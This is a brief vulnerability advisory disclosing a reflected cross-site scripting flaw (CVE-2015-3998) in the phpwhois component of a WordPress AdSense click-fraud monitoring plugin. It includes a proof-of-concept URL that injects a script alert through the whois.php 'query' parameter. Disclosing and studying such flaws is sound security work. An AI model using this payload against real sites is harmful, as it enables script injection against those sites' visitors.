Reflected XSS in Phpwhois component of adsense-click-fraud-monitoring wordpress plugin v1.7.5

#872 · 2015-05-11

CVE ID(s): CVE-2015-3998

Notified: 2015-05-12

Description:

Prevents to be banned and excluded from your AdSense account due to malicious or unintended third party clicks on advertisements on your website.

Exploit:

http://www.vapidlabs.internal/wp-content/plugins/adsense-click-fraud-monitoring/phpwhois/whois.php?query=%27%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&output=nice

Download: https://wordpress.org/plugins/adsense-click-fraud-monitoring/

URL: http://www.vapid.dhs.org/advisory.php?v=119